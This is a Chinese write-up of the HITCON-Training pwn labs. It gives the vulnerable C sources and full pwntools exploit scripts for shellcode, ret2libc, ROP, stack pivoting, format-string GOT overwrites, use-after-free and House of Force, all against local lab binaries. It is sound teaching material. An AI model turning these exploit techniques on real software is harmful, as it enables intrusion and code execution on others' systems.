HITCON Training Pwn Writeup
前言
GitHub: https://github.com/scwuaptx/HITCON-Training
Lab 1 - sysmagic
熟悉下 gdb 的用法, 在调试时使用 set $eip=0xabcd
控制程序流程
Lab 2 - orw
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab2/orw.bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
|
传入 shellcode 就会执行, 读 flag 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
p = process('./orw.bin')
sc = asm('''
jmp hello
write :
pop ebx
mov eax, 5
mov ecx, 0
int 0x80
mov ebx, eax
mov ecx, esp
mov edx, 0x80
mov eax, 3
int 0x80
mov edx, eax
mov ebx, 1
mov eax, 4
int 0x80
hello :
call write
.ascii "/flag"
.byte 0
''')
gdb.attach(p)
p.sendlineafter(b':', sc)
p.interactive()
|
Lab 3 - ret2sc
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#include <stdio.h>
char name[50];
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50);
char buf[20];
printf("Try your best:");
gets(buf);
return ;
}
|
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab3/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
|
ret2shellcode, 需要将 shellcode 放入 bss 段段 name 数组内
不过高版本内核好像无法执行, 跟之前 NTUSTISC 的一道题目类似, 就不写 exp 了
Lab 4 - ret2lib
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#include <stdio.h>
void See_something(unsigned int addr){
int *address ;
address = (int *)addr ;
printf("The content of the address : %p\n",*address);
};
void Print_message(char *mesg){
char buf[48];
strcpy(buf,mesg);
printf("Your message is : %s",buf);
}
int main(){
char address[10] ;
char message[256];
unsigned int addr ;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0,address,10);
addr = strtol(address);
See_something(addr) ;
printf("Leave some message for me :");
fflush(stdout);
read(0,message,256);
Print_message(message);
puts("Thanks you ~");
return 0 ;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab4/ret2lib'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
ret2libc
先通过任意地址读取拿到 GOT 表内 puts 的物理地址, 然后计算 libc 基址, 最后 ret 到 system 地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./ret2lib')
e = ELF('./ret2lib')
libc = e.libc
puts_got = 0x804a01c
p.recvuntil(b':')
p.sendline(str(puts_got).encode())
p.recvuntil(b': ')
puts_addr = int(p.recvuntil(b'\n').strip().decode(), 16)
print('leak puts addr', hex(puts_addr))
libc_base_addr = puts_addr - libc.symbols['puts']
print('libc base addr:', hex(libc_base_addr))
system_addr = libc_base_addr + libc.symbols['system']
bin_sh_addr = 0x804829e # ROPgadget --binary ret2lib --string 'sh'
payload = flat([
b'a' * 60,
system_addr,
0xdeadbeef,
bin_sh_addr
])
p.sendlineafter(b':', payload)
p.interactive()
|
Lab 5 - simplerop
1
2
3
4
5
6
7
8
9
10
|
#include <stdio.h>
int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,100);
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab5/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
ret2syscall
因为传入 execve 的第一个参数 (filename) 得是指向字符串类型的指针, 所以需要先用几个 gadget 将 /bin/sh
写入 data/bss 段上
写 /bin/sh
的汇编大致如下, 其中 buf addr 为 data/bss 段上的地址
1
2
3
4
5
6
|
mov eax, "/bin"
mov edx, <buf addr>
mov dword ptr edx, eax
mov eax, "/sh\0"
mov edx, <buf addr + 4>
mov dword ptr edx, eax
|
后续就是 syscall 调用 execve 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./simplerop')
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
mov_dword_ptr_edx_eax_ret = 0x0809a15d
buf_addr = 0x080ea060
payload = flat([
b'a' * 32,
pop_eax_ret,
b'/bin',
pop_edx_ret,
buf_addr,
mov_dword_ptr_edx_eax_ret,
pop_eax_ret,
b'/sh\0',
pop_edx_ret,
buf_addr + 4,
mov_dword_ptr_edx_eax_ret,
pop_eax_ret,
0xb,
pop_edx_ecx_ebx_ret,
0,
0,
buf_addr,
int_0x80
])
print('length:', len(payload))
# gdb.attach(p)
p.sendlineafter(b':', payload)
p.interactive()
|
Lab 6 - migration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#include <stdio.h>
int count = 1337 ;
int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab6/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
栈迁移 (Stack Pivoting)
原理是利用 leave 指令 (mov esp, ebp
) 控制 esp 寄存器, 以此来转移栈的位置, 适用于可以栈溢出但是 payload 长度有限的情况
对于本题来说, 需要打三段 payload
第一段 payload: 在栈溢出后先 ret 到 read 函数读入 buf_1, 然后通过 leave ret 指令将栈迁移到 buf_1, 并在上面继续 ROP
第二段 payload (buf_1): 调用 puts 函数泄露 puts GOT 地址, 计算 libc 基址, 然后调用 read 函数读入 buf_2, 最后将栈迁移到 buf_2
第三段 payload (buf_2): 调用 system 函数执行 /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
from pwn import *
import time
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./migration')
libc = ELF('./migration').libc
leave_ret = 0x08048504
pop_ebx_ret = 0x0804836d
read_plt = 0x8048380
puts_plt = 0x08048390
puts_got = 0x08049ff0
buf_1 = 0x804b000 - 0x200
buf_2 = buf_1 + 0x100
payload = flat([
b'a' * 40,
buf_1, # ebp
read_plt,
leave_ret, # migration stack to buf_1
0, # fd
buf_1, # buffer
100, # size
])
print('payload len:', len(payload))
p.sendafter(b':\n', payload) # do not use sendline because the length is enough
time.sleep(1)
buf_1_payload = flat([
buf_2, # ebp
puts_plt,
pop_ebx_ret,
puts_got,
read_plt,
leave_ret, # migration stack to buf_2
0,
buf_2,
100
])
p.sendline(buf_1_payload)
time.sleep(1)
puts_addr = u32(p.recv(4))
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search(b'/bin/sh'))
# buf_2_payload = flat([
# 0xdeadbeef,
# system_addr,
# 0xdeadbeef,
# bin_sh_addr
# ])
buf_2_payload = flat([
0xdeadbeef,
system_addr,
0xdeadbeef,
buf_2 + 16,
b'/bin/sh\0'
])
p.sendline(buf_2_payload)
p.interactive()
|
注意 buf_2_payload 有两种写法, 一种是直接利用 libc 内的 /bin/sh
字符串, 另一种是将 /bin/sh
放在栈上, 再传入对应的栈地址
Lab 7 - crack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab7/crack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
格式化字符串漏洞, 任意地址读取
注意要计算好字符串的位置, 这个 gdb 调试一下就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./crack')
password_addr = 0x804a048
payload = p32(password_addr) + b'#%10$s#'
print('payload:', payload)
p.sendlineafter(b'? ', payload)
p.recvuntil('#')
password = str(u32(p.recvuntil('#', drop=True)))
print('password:', password)
p.sendafter(b':', password.encode())
p.interactive()
|
Lab 8 - craxme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#include <stdio.h>
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab8/craxme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
格式化字符串, 分别要将 bss 段上的 magic 修改为小数字 0xda 和大数字 0xfaceb00c
小数字, 没啥好说的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./craxme')
payload = p32(0x804a038) + b'%214c%7$n'
p.recvuntil(b':')
p.sendline(payload)
p.interactive()
|
大数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./craxme')
def fmt(prev, word, index):
fmtstr = b''
if prev < word:
result = word - prev
fmtstr = b'%' + str(result).encode() + b'c'
elif prev == word:
pass
else:
result = 256 - prev + word
fmtstr = b'%' + str(result).encode() + b'c'
fmtstr += b'%' + str(index).encode() + b'$hhn'
return fmtstr
magic_addr = 0x804a038
payload = flat([
magic_addr,
magic_addr + 1,
magic_addr + 2,
magic_addr + 3
])
target = 0xfaceb00c
prev = 4 * 4
for i in range(4):
payload += fmt(prev, (target >> 8 * i) & 0xff, 7 + i)
prev = (target >> 8 * i) & 0xff
print('payload:', payload)
p.recvuntil(b':')
p.sendline(payload)
p.interactive()
|
思路就是先往栈上布置 magic 地址本身以及 1-3 位的偏移, 然后分别往这几个地址的末尾写入一个字节 (%hhn
), 因为地址偏移的效果, 实际上就是按字节修改 magic 的值
当然还有一种 RCE 的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./craxme')
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = b'%' + str(result).encode() + b'c'
elif prev == word:
pass
else:
result = 256 - prev + word
fmtstr = b'%' + str(result).encode() + b'c'
fmtstr += b'%' + str(index).encode() + b'$hhn'
return fmtstr
puts_got = 0x804a018
printf_got = 0x804a010
jmp_to_read_in_main = 0x0804859b
system_plt = 0x08048410
payload = flat([
puts_got,
puts_got + 1,
puts_got + 2,
puts_got + 3,
printf_got,
printf_got + 1,
printf_got + 2,
printf_got + 3
])
prev = 4 * 8
for i in range(4):
payload += fmt(prev, (jmp_to_read_in_main >> 8 * i) & 0xff, 7 + i)
prev = (jmp_to_read_in_main >> 8 * i) & 0xff
for i in range(4):
payload += fmt(prev, (system_plt >> 8 * i) & 0xff, 11 + i)
prev = (system_plt >> 8 * i) & 0xff
print('payload:', payload)
p.recvuntil(b':')
p.sendline(payload)
p.interactive()
|
先把 puts GOT 地址修改为 main 内部的某个地址 (read 之前), 然后修改 printf GOT 地址为 system
这样条件判断的时候就会进入 else, 进而重新执行一遍 main, read 读入 buf 之后传入 printf (system) 函数, 实现 RCE
Lab 9 - playfmt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char buf[200] ;
void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}
void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}
int main(){
setvbuf(stdout,0,2,0);
play();
return;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab9/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
buf 位于 bss 段, 无法直接在 buf 里面构造地址进行任意地址写入
这道题感觉做起来稍微有点复杂 (我太菜了), 需要利用栈上的指向栈上元素的指针 (指针链) (参考 0xGame 2024 Week 3 fmt2orw)
如上图 a b c d 四个栈上元素, a 指针指向 b, b 指针指向 c, c 上存放某个地址, d 暂时先不考虑
因为 %n
是对地址解引用然后再写入, 所以如果想修改栈上元素的话, 必须得找到一个指向栈上元素的指针, 例如我们可以通过 b 来修改 c
但是这样的话我们只能修改 c 的最后一个 byte, 因此需要再借助一个指针 a, 先通过指针 a 不断改变 b 的指向, 使其指向 c 的每一个 byte (c + offset), 这样就可以按 byte 修改栈上元素 c
这道题的一种思路是泄露 libc 基址, 然后修改 printf GOT 为 system (应该也有其它解法)
不过这里我们需要通过通过 a 指针和 b 指针修改两个栈上的元素 c 和 d, 这是因为写入 printf GOT 的时候必须要一次性完成, 如果 system 地址只写了一半, 那么下一次循环调用 printf 的时候就会报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
from pwn import *
from time import sleep
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./playfmt')
e = ELF('./playfmt')
libc = e.libc
def fmt_byte(num, index):
if num == 0:
return b'%' + str(index).encode() + b'$hhn\x00'
else:
return b'%' + str(num).encode() + b'c%' + str(index).encode() + b'$hhn\x00'
def fmt_word(num, index):
if num == 0:
return b'%' + str(index).encode() + b'$hhn\x00'
else:
return b'%' + str(num).encode() + b'c%' + str(index).encode() + b'$hn\x00'
printf_got = 0x0804a010
p.recvuntil(b'=\n')
p.recvuntil(b'=\n')
p.sendline(b'%15$p')
libc_start_call_main_121_addr = int(p.recvuntil(b'\n', drop=True), 16)
offset = 0xf7d90560 - 0xf7d904a0
libc_start_main_addr = libc_start_call_main_121_addr - 121 + offset
libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc_base_addr + libc.symbols['system']
print('printf got', hex(printf_got))
print('system addr', hex(system_addr))
# ebp 指针链
p.sendline(b'%6$s\x00')
ptr_addr_1 = u32(p.recv(4))
print('ptr addr 1', hex(ptr_addr_1))
for i in range(4):
p.sendline(fmt_byte((ptr_addr_1 + i) & 0xff, 6))
sleep(0.1)
p.sendline(fmt_byte((printf_got >> i * 8) & 0xff, 10))
sleep(0.1)
# reset ptr
p.sendline(fmt_byte(ptr_addr_1 & 0xff, 6))
sleep(0.1)
ptr_addr_2 = ptr_addr_1 - 4
print('ptr addr 2', hex(ptr_addr_2))
for i in range(4):
p.sendline(fmt_byte((ptr_addr_2 + i) & 0xff, 6))
sleep(0.1)
p.sendline(fmt_byte(((printf_got + 2) >> i * 8) & 0xff, 10))
sleep(0.1)
# reset ptr
p.sendline(fmt_byte(ptr_addr_2 & 0xff, 6))
sleep(0.1)
high_bytes = (system_addr >> 16) & 0xffff
low_bytes = system_addr & 0xffff
print(high_bytes > low_bytes)
payload = f'%{low_bytes}c%14$hn%{high_bytes - low_bytes}c%13$hn\x00'
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()
|
Lab 10 - hacknote
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
struct note {
void (*printnote)();
char *content ;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this){
puts(this->content);
}
void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts("Full");
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
void del_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
notelist[idx]->printnote(notelist[idx]);
}
}
void magic(){
system("cat /home/hacknote/flag");
}
void menu(){
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
char buf[4];
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
add_note();
break ;
case 2 :
del_note();
break ;
case 3 :
print_note();
break ;
case 4 :
exit(0);
break ;
default :
puts("Invalid choice");
break ;
}
}
return 0;
}
|
在 del_note 的时候虽然 free 了 note->content 和 note 指针指向的 chunk, 但是指针本身并没有被清空, 因此存在 UAF
较小的 chunk 被回收时会放入 fastbin, 这是一个后进先出 (LIFO) 的结构
将 note 和 content 构造成两个不同的长度的 chunk (例如 0x8 和 0x40), 这样在 free 时两个 chunk 就会被放入不同大小的 fastbin
1
2
3
|
0x10: note chunk 1 -> note chunk 0
0x50: content chunk 1 -> content chunk 0
|
后续再申请两个 0x8 的 chunk, 这样通过 content 就能够控制 note 1 的内容, 将 printnote 指针修改为 system 地址, 就可以实现 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./hacknote')
def add_note(size, content):
p.recvuntil(b'choice :')
p.sendline(b'1')
p.recvuntil(b'size :')
p.sendline(str(size).encode())
p.recvuntil(b'Content :')
p.sendline(content)
def del_note(index):
p.recvuntil(b'choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
def print_note(index):
p.recvuntil(b'choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
system_plt = 0x8048500 + 6 # avoid \x00
add_note(0x40, b'aaaa')
add_note(0x40, b'bbbb')
del_note(1)
del_note(0)
add_note(0x8, p32(system_plt) + b';sh;')
print_note(1)
p.interactive()
|
Lab 11 - bamboobox
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
int size ;
char *name ;
};
struct item itemlist[100] = {0};
int num ;
void hello_message(){
puts("There is a box with magic");
puts("what do you want to do in the box");
}
void goodbye_message(){
puts("See you next time");
puts("Thanks you");
}
struct box{
void (*hello_message)();
void (*goodbye_message)();
};
void menu(){
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}
void show_item(){
int i ;
if(!num){
puts("No item in the box");
}else{
for(i = 0 ; i < 100; i++){
if(itemlist[i].name){
printf("%d : %s",i,itemlist[i].name);
}
}
puts("");
}
}
int add_item(){
char sizebuf[8] ;
int length ;
int i ;
int size ;
if(num < 100){
printf("Please enter the length of item name:");
read(0,sizebuf,8);
length = atoi(sizebuf);
if(length == 0){
puts("invaild length");
return 0;
}
for(i = 0 ; i < 100 ; i++){
if(!itemlist[i].name){
itemlist[i].size = length ;
itemlist[i].name = (char*)malloc(length);
printf("Please enter the name of item:");
size = read(0,itemlist[i].name,length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}else{
puts("the box is full");
}
return 0;
}
void change_item(){
char indexbuf[8] ;
char lengthbuf[8];
int length ;
int index ;
int readsize ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
printf("Please enter the length of item name:");
read(0,lengthbuf,8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0,itemlist[index].name,length);
*(itemlist[index].name + readsize) = '\x00';
}else{
puts("invaild index");
}
}
}
void remove_item(){
char indexbuf[8] ;
int index ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
free(itemlist[index].name);
itemlist[index].name = 0 ;
itemlist[index].size = 0 ;
puts("remove successful!!");
num-- ;
}else{
puts("invaild index");
}
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/bamboobox/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
int main(){
char choicebuf[8];
int choice;
struct box *bamboo ;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message ;
bamboo->hello_message();
while(1){
menu();
read(0,choicebuf,8);
choice = atoi(choicebuf);
switch(choice){
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}
return 0 ;
}
|
拿了 glibc 2.27 做 patch
change_item 的时候并没有使用先前的 size, 而是选择读取一个 size 然后 read, 存在堆溢出 (Heap Overflow)
这道题的思路是 House of Force, 即通过溢出的手段修改 top chunk 的 size 位, 将其变为一个很大的数 (0xffffffff)
后续再用 malloc 申请一个负数大小的 chunk , 这样就会拿到前面的 chunk, 实现了任意地址写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./bamboobox_patch')
def show_item():
p.recvuntil(b':')
p.sendline(b'1')
def add_item(length, name):
p.recvuntil(b':')
p.sendline(b'2')
p.recvuntil(b':')
p.sendline(str(length).encode())
p.recvuntil(b':')
p.sendline(name)
def change_item(idx, length, name):
p.recvuntil(b':')
p.sendline(b'3')
p.recvuntil(b':')
p.sendline(str(idx).encode())
p.recvuntil(b':')
p.sendline(str(length).encode())
p.recvuntil(b':')
p.sendline(name)
def remove_item(idx):
p.recvuntil(b':')
p.sendline(b'4')
p.recvuntil(b':')
p.sendline(str(idx).encode())
magic = 0x0000000000400d49
# House of Force
# 先将 top chunk 的 size 改成一个非常大的数
# 然后通过计算 new chunk 和 old chunk 的位置关系, 计算下一次 malloc 需要分配的大小
# 最终调节 top chunk 的位置, 实现任意地址写
# new top chunk = old top + nb + 16
# nb = new top - old top - 16
add_item(0x60, b'dada')
change_item(0, 0x70, b'a' * 0x60 + p64(0) + p64(0xffffffffffffffff))
nb = 0x603250 - 0x6032e0 - 0x10 # - 0xa0
add_item(nb, b'dada')
add_item(0x20, p64(magic) + p64(magic))
p.interactive()
|
注意需要计算 nb (malloc 的大小), 规则是 (new top - old top - 16), new top 是你想任意写入的地址, old top 是修改 size 之前的地址, 0x10 是 chunk header 的大小
当然也可以不用这么麻烦, 其实就是 top chunk 指针需要往前移动几个字节
box chunk 的大小是 0x20, 后续申请的 chunk 大小是 0x70, 然后再加上一个 chunk header, 0x20 + 0x70 + 0x10 = 0xa0
heap 结构
修改 top chunk size 后的 heap
Lab 12 - secretgarden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
|
#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60
struct flower{
int vaild ;
char *name ;
char color[24] ;
};
struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;
void menu(){
puts("");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("☆ Baby Secret Garden ☆ ");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("");
puts(" 1 . Raise a flower " );
puts(" 2 . Visit the garden ");
puts(" 3 . Remove a flower from the garden");
puts(" 4 . Clean the garden");
puts(" 5 . Leave the garden");
puts("");
printf("Your choice : ");
}
int add(){
struct flower *newflower = NULL ;
char *buf = NULL ;
unsigned size =0;
unsigned index ;
if(flowercount < 100){
newflower = malloc(sizeof(struct flower));
memset(newflower,0,sizeof(struct flower));
printf("Length of the name :");
if(scanf("%u",&size)== EOF) exit(-1);
buf = (char*)malloc(size);
if(!buf){
puts("Alloca error !!");
exit(-1);
}
printf("The name of flower :");
read(0,buf,size);
newflower->name = buf ;
printf("The color of the flower :");
scanf("%23s",newflower->color);
newflower->vaild = 1 ;
